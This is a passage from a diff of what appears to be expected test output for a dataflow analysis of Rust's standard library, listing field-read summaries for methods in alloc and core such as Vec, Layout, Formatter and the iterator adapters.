Argument[self].Field[crate::sync::Weak::ptr] in lang:alloc::_::::upgrade | | file://:0:0:0:0 | [summary param] self in lang:alloc::_::::borrow | element | file://:0:0:0:0 | [summary] read: Argument[self].Element in lang:alloc::_::::borrow | | file://:0:0:0:0 | [summary param] self in lang:alloc::_::::borrow_mut | element | file://:0:0:0:0 | [summary] read: Argument[self].Element in lang:alloc::_::::borrow_mut | +| file://:0:0:0:0 | [summary param] self in lang:alloc::_::::len | Vec.len | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::vec::Vec::len] in lang:alloc::_::::len | +| file://:0:0:0:0 | [summary param] self in lang:alloc::_::::next_back | IntoIter.end | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::vec::into_iter::IntoIter::end] in lang:alloc::_::::next_back | +| file://:0:0:0:0 | [summary param] self in lang:alloc::_::::allocator | IntoIter.alloc | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::vec::into_iter::IntoIter::alloc] in lang:alloc::_::::allocator | +| file://:0:0:0:0 | [summary param] self in lang:alloc::_::::forget_allocation_drop_remaining | IntoIter.buf | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::vec::into_iter::IntoIter::buf] in lang:alloc::_::::forget_allocation_drop_remaining | +| file://:0:0:0:0 | [summary param] self in lang:alloc::_::::drop | SetLenOnDrop.local_len | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::vec::set_len_on_drop::SetLenOnDrop::local_len] in lang:alloc::_::::drop | +| file://:0:0:0:0 | [summary param] self in lang:alloc::_::::current_len | SetLenOnDrop.local_len | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::vec::set_len_on_drop::SetLenOnDrop::local_len] in lang:alloc::_::::current_len | | file://:0:0:0:0 | [summary param] self in lang:core::_::<&_ as crate::borrow::Borrow>::borrow | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:core::_::<&_ as crate::borrow::Borrow>::borrow | | file://:0:0:0:0 | [summary param] self in lang:core::_::<&_ as crate::clone::Clone>::clone | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:core::_::<&_ as crate::clone::Clone>::clone | | file://:0:0:0:0 | [summary param] self in lang:core::_::<&_ as crate::ops::deref::Deref>::deref | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:core::_::<&_ as crate::ops::deref::Deref>::deref | @@ -1978,8 +3587,16 @@ readStep | file://:0:0:0:0 | [summary param] self in lang:core::_::<_ as crate::str::pattern::MultiCharEq>::matches | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:core::_::<_ as crate::str::pattern::MultiCharEq>::matches | | file://:0:0:0:0 | [summary param] self in lang:core::_::::clone | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:core::_::::clone | | file://:0:0:0:0 | [summary param] self in lang:core::_::::clone | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:core::_::::clone | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::as_utf8_pattern | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:core::_::::as_utf8_pattern | | file://:0:0:0:0 | [summary param] self in lang:core::_::::to_ascii_lowercase | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:core::_::::to_ascii_lowercase | | file://:0:0:0:0 | [summary param] self in lang:core::_::::to_ascii_uppercase | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:core::_::::to_ascii_uppercase | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::align_to | Layout.align | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::alloc::layout::Layout::align] in lang:core::_::::align_to | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::align_to | Layout.size | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::alloc::layout::Layout::size] in lang:core::_::::align_to | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::extend_packed | Layout.align | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::alloc::layout::Layout::align] in lang:core::_::::extend_packed | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::repeat_packed | Layout.align | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::alloc::layout::Layout::align] in lang:core::_::::repeat_packed | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::size | Layout.size | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::alloc::layout::Layout::size] in lang:core::_::::size | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::try_capture | Wrapper | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::asserting::Wrapper(0)] in lang:core::_::::try_capture | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::try_capture | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in lang:core::_::::try_capture | | file://:0:0:0:0 | [summary param] self in lang:core::_::::borrow | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in lang:core::_::::borrow | | file://:0:0:0:0 | [summary param] self in lang:core::_::::borrow_mut | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in lang:core::_::::borrow_mut | | file://:0:0:0:0 | [summary param] self in lang:core::_::::as_mut | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in lang:core::_::::as_mut | @@ -1989,17 +3606,208 @@ readStep | file://:0:0:0:0 | [summary param] self in lang:core::_::::index | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in lang:core::_::::index | | file://:0:0:0:0 | [summary param] self in lang:core::_::::index_mut | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in lang:core::_::::index_mut | | file://:0:0:0:0 | [summary param] self in lang:core::_::::as_bytes | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in lang:core::_::::as_bytes | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::clone | BorrowRef | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::cell::BorrowRef::borrow] in lang:core::_::::clone | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::into_inner | Cell | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::cell::Cell::value] in lang:core::_::::into_inner | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::into_inner | RefCell.value | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::cell::RefCell::value] in lang:core::_::::into_inner | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::into_inner | SyncUnsafeCell | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::cell::SyncUnsafeCell::value] in lang:core::_::::into_inner | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::get_mut | UnsafeCell | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::cell::UnsafeCell::value] in lang:core::_::::get_mut | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::into_inner | UnsafeCell | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::cell::UnsafeCell::value] in lang:core::_::::into_inner | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::into_inner | OnceCell | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::cell::once::OnceCell::inner] in lang:core::_::::into_inner | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::next | EscapeDebug | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::char::EscapeDebug(0)] in lang:core::_::::next | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::next | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in lang:core::_::::next | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::next | DecodeUtf16.iter | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::char::decode::DecodeUtf16::iter] in lang:core::_::::next | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::unpaired_surrogate | DecodeUtf16Error | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::char::decode::DecodeUtf16Error::code] in lang:core::_::::unpaired_surrogate | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::next | Source | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::error::Source::current] in lang:core::_::::next | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::deref | VaList.inner | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::ffi::va_list::VaList::inner] in lang:core::_::::deref | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::deref_mut | VaList.inner | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::ffi::va_list::VaList::inner] in lang:core::_::::deref_mut | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::as_str | Arguments.pieces | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::fmt::Arguments::pieces] in lang:core::_::::as_str | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::align | Formatter.options | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::fmt::Formatter::options] in lang:core::_::::align | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::fill | Formatter.options | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::fmt::Formatter::options] in lang:core::_::::fill | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::flags | Formatter.options | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::fmt::Formatter::options] in lang:core::_::::flags | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::options | Formatter.options | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::fmt::Formatter::options] in lang:core::_::::options | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::padding | Formatter.options | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::fmt::Formatter::options] in lang:core::_::::padding | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::precision | Formatter.options | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::fmt::Formatter::options] in lang:core::_::::precision | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::width | Formatter.options | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::fmt::Formatter::options] in lang:core::_::::width | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::with_options | Formatter.buf | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::fmt::Formatter::buf] in lang:core::_::::with_options | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::get_align | FormattingOptions.align | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::fmt::FormattingOptions::align] in lang:core::_::::get_align | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::get_fill | FormattingOptions.fill | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::fmt::FormattingOptions::fill] in lang:core::_::::get_fill | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::get_flags | FormattingOptions.flags | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::fmt::FormattingOptions::flags] in lang:core::_::::get_flags | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::get_precision | FormattingOptions.precision | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::fmt::FormattingOptions::precision] in lang:core::_::::get_precision | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::get_width | FormattingOptions.width | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::fmt::FormattingOptions::width] in lang:core::_::::get_width | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::finish | DebugList | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::fmt::builders::DebugList::inner] in lang:core::_::::finish | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::entry | DebugMap.result | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::fmt::builders::DebugMap::result] in lang:core::_::::entry | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::finish | DebugMap.result | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::fmt::builders::DebugMap::result] in lang:core::_::::finish | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::finish_non_exhaustive | DebugMap.result | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::fmt::builders::DebugMap::result] in lang:core::_::::finish_non_exhaustive | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::key | DebugMap.result | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::fmt::builders::DebugMap::result] in lang:core::_::::key | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::key_with | DebugMap.result | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::fmt::builders::DebugMap::result] in lang:core::_::::key_with | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::value | DebugMap.result | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::fmt::builders::DebugMap::result] in lang:core::_::::value | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::value_with | DebugMap.result | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::fmt::builders::DebugMap::result] in lang:core::_::::value_with | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::finish | DebugSet | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::fmt::builders::DebugSet::inner] in lang:core::_::::finish | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::finish_non_exhaustive | DebugSet | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::fmt::builders::DebugSet::inner] in lang:core::_::::finish_non_exhaustive | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::field | DebugStruct.result | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::fmt::builders::DebugStruct::result] in lang:core::_::::field | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::field_with | DebugStruct.result | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::fmt::builders::DebugStruct::result] in lang:core::_::::field_with | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::finish | DebugStruct.result | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::fmt::builders::DebugStruct::result] in lang:core::_::::finish | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::finish_non_exhaustive | DebugStruct.result | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::fmt::builders::DebugStruct::result] in lang:core::_::::finish_non_exhaustive | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::field | DebugTuple.result | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::fmt::builders::DebugTuple::result] in lang:core::_::::field | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::field_with | DebugTuple.result | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::fmt::builders::DebugTuple::result] in lang:core::_::::field_with | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::finish | DebugTuple.result | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::fmt::builders::DebugTuple::result] in lang:core::_::::finish | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::finish_non_exhaustive | DebugTuple.result | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::fmt::builders::DebugTuple::result] in lang:core::_::::finish_non_exhaustive | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::as_usize | Argument | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::fmt::rt::Argument::ty] in lang:core::_::::as_usize | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::take_output | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:core::_::::take_output | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::into_inner | Ready | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::future::ready::Ready(0)] in lang:core::_::::into_inner | | file://:0:0:0:0 | [summary param] self in lang:core::_::::into_inner | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in lang:core::_::::into_inner | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::init_len | BorrowedBuf.init | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::io::borrowed_buf::BorrowedBuf::init] in lang:core::_::::init_len | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::len | BorrowedBuf.filled | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::io::borrowed_buf::BorrowedBuf::filled] in lang:core::_::::len | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::set_init | BorrowedBuf.init | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::io::borrowed_buf::BorrowedBuf::init] in lang:core::_::::set_init | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::unfilled | BorrowedBuf.filled | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::io::borrowed_buf::BorrowedBuf::filled] in lang:core::_::::unfilled | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::reborrow | BorrowedCursor.start | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::io::borrowed_buf::BorrowedCursor::start] in lang:core::_::::reborrow | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::set_init | BorrowedCursor.buf | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::io::borrowed_buf::BorrowedCursor::buf] in lang:core::_::::set_init | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::into_remainder | ArrayChunks.remainder | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::iter::adapters::array_chunks::ArrayChunks::remainder] in lang:core::_::::into_remainder | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::next_unchecked | Cloned | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::iter::adapters::cloned::Cloned::it] in lang:core::_::::next_unchecked | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::advance_by | Cycle.orig | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::iter::adapters::cycle::Cycle::orig] in lang:core::_::::advance_by | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::try_fold | Cycle.orig | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::iter::adapters::cycle::Cycle::orig] in lang:core::_::::try_fold | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::next | Enumerate.count | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::iter::adapters::enumerate::Enumerate::count] in lang:core::_::::next | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::next | Enumerate.iter | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::iter::adapters::enumerate::Enumerate::iter] in lang:core::_::::next | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::nth | Enumerate.iter | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::iter::adapters::enumerate::Enumerate::iter] in lang:core::_::::nth | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::clone | FlatMap | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::iter::adapters::flatten::FlatMap::inner] in lang:core::_::::clone | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::into_parts | FlatMap | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::iter::adapters::flatten::FlatMap::inner] in lang:core::_::::into_parts | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::clone | Flatten | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::iter::adapters::flatten::Flatten::inner] in lang:core::_::::clone | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::into_inner | Fuse | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::iter::adapters::fuse::Fuse::iter] in lang:core::_::::into_inner | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::next | Intersperse.separator | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::iter::adapters::intersperse::Intersperse::separator] in lang:core::_::::next | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::into_inner | Map.iter | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::iter::adapters::map::Map::iter] in lang:core::_::::into_inner | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::next | MapWhile.iter | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::iter::adapters::map_while::MapWhile::iter] in lang:core::_::::next | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::clone | Buffer.start | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::iter::adapters::map_windows::Buffer::start] in lang:core::_::::clone | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::last | Peekable.peeked | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::iter::adapters::peekable::Peekable::peeked] in lang:core::_::::last | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::next | Peekable.iter | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::iter::adapters::peekable::Peekable::iter] in lang:core::_::::next | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::next | Peekable.peeked | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::iter::adapters::peekable::Peekable::peeked] in lang:core::_::::next | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::nth | Peekable.iter | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::iter::adapters::peekable::Peekable::iter] in lang:core::_::::nth | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::nth | Peekable.peeked | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::iter::adapters::peekable::Peekable::peeked] in lang:core::_::::nth | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::next_back | Rev | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::iter::adapters::rev::Rev::iter] in lang:core::_::::next_back | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::nth_back | Rev | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::iter::adapters::rev::Rev::iter] in lang:core::_::::nth_back | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::next | Scan.iter | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::iter::adapters::scan::Scan::iter] in lang:core::_::::next | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::last | Skip.iter | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::iter::adapters::skip::Skip::iter] in lang:core::_::::last | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::next | Skip.iter | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::iter::adapters::skip::Skip::iter] in lang:core::_::::next | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::nth | Skip.iter | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::iter::adapters::skip::Skip::iter] in lang:core::_::::nth | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::spec_fold | StepBy.iter | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::iter::adapters::step_by::StepBy::iter] in lang:core::_::::spec_fold | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::spec_next | StepBy.iter | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::iter::adapters::step_by::StepBy::iter] in lang:core::_::::spec_next | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::spec_nth | StepBy.iter | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::iter::adapters::step_by::StepBy::iter] in lang:core::_::::spec_nth | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::spec_try_fold | StepBy.iter | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::iter::adapters::step_by::StepBy::iter] in lang:core::_::::spec_try_fold | | file://:0:0:0:0 | [summary param] self in lang:core::_::::nth_back | element | file://:0:0:0:0 | [summary] read: Argument[self].Element in lang:core::_::::nth_back | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::len | Take.n | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::iter::adapters::take::Take::n] in lang:core::_::::len | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::next | Take.iter | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::iter::adapters::take::Take::iter] in lang:core::_::::next | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::nth | Take.iter | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::iter::adapters::take::Take::iter] in lang:core::_::::nth | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::size_hint | Take.n | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::iter::adapters::take::Take::n] in lang:core::_::::size_hint | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::next | TakeWhile.iter | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::iter::adapters::take_while::TakeWhile::iter] in lang:core::_::::next | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::next_back | Repeat | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::iter::sources::repeat::Repeat::element] in lang:core::_::::next_back | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::nth_back | Repeat | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::iter::sources::repeat::Repeat::element] in lang:core::_::::nth_back | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::next | Repeat | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::iter::sources::repeat::Repeat::element] in lang:core::_::::next | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::nth | Repeat | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::iter::sources::repeat::Repeat::element] in lang:core::_::::nth | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::clone | RepeatN.count | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::iter::sources::repeat_n::RepeatN::count] in lang:core::_::::clone | | file://:0:0:0:0 | [summary param] self in lang:core::_::::nth_back | element | file://:0:0:0:0 | [summary] read: Argument[self].Element in lang:core::_::::nth_back | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::len | RepeatN.count | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::iter::sources::repeat_n::RepeatN::count] in lang:core::_::::len | | file://:0:0:0:0 | [summary param] self in lang:core::_::::clone | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:core::_::::clone | | file://:0:0:0:0 | [summary param] self in lang:core::_::::clone | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:core::_::::clone | | file://:0:0:0:0 | [summary param] self in lang:core::_::::clone | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:core::_::::clone | | file://:0:0:0:0 | [summary param] self in lang:core::_::::clone | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:core::_::::clone | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::deref | ManuallyDrop | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::mem::manually_drop::ManuallyDrop::value] in lang:core::_::::deref | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::deref_mut | ManuallyDrop | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::mem::manually_drop::ManuallyDrop::value] in lang:core::_::::deref_mut | | file://:0:0:0:0 | [summary param] self in lang:core::_::::clone | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:core::_::::clone | | file://:0:0:0:0 | [summary param] self in lang:core::_::::to_canonical | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:core::_::::to_canonical | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::as_octets | Ipv4Addr | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::net::ip_addr::Ipv4Addr::octets] in lang:core::_::::as_octets | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::octets | Ipv4Addr | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::net::ip_addr::Ipv4Addr::octets] in lang:core::_::::octets | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::to_ipv6_compatible | Ipv4Addr | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::net::ip_addr::Ipv4Addr::octets] in lang:core::_::::to_ipv6_compatible | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::to_ipv6_mapped | Ipv4Addr | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::net::ip_addr::Ipv4Addr::octets] in lang:core::_::::to_ipv6_mapped | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::as_octets | Ipv6Addr | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::net::ip_addr::Ipv6Addr::octets] in lang:core::_::::as_octets | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::octets | Ipv6Addr | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::net::ip_addr::Ipv6Addr::octets] in lang:core::_::::octets | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::to_canonical | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:core::_::::to_canonical | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::ip | SocketAddrV4.ip | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::net::socket_addr::SocketAddrV4::ip] in lang:core::_::::ip | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::port | SocketAddrV4.port | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::net::socket_addr::SocketAddrV4::port] in lang:core::_::::port | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::flowinfo | SocketAddrV6.flowinfo | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::net::socket_addr::SocketAddrV6::flowinfo] in lang:core::_::::flowinfo | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::ip | SocketAddrV6.ip | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::net::socket_addr::SocketAddrV6::ip] in lang:core::_::::ip | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::port | SocketAddrV6.port | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::net::socket_addr::SocketAddrV6::port] in lang:core::_::::port | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::scope_id | SocketAddrV6.scope_id | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::net::socket_addr::SocketAddrV6::scope_id] in lang:core::_::::scope_id | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::clone | Big32x40.base | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::num::bignum::Big32x40::base] in lang:core::_::::clone | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::clone | Big32x40.size | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::num::bignum::Big32x40::size] in lang:core::_::::clone | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::add | 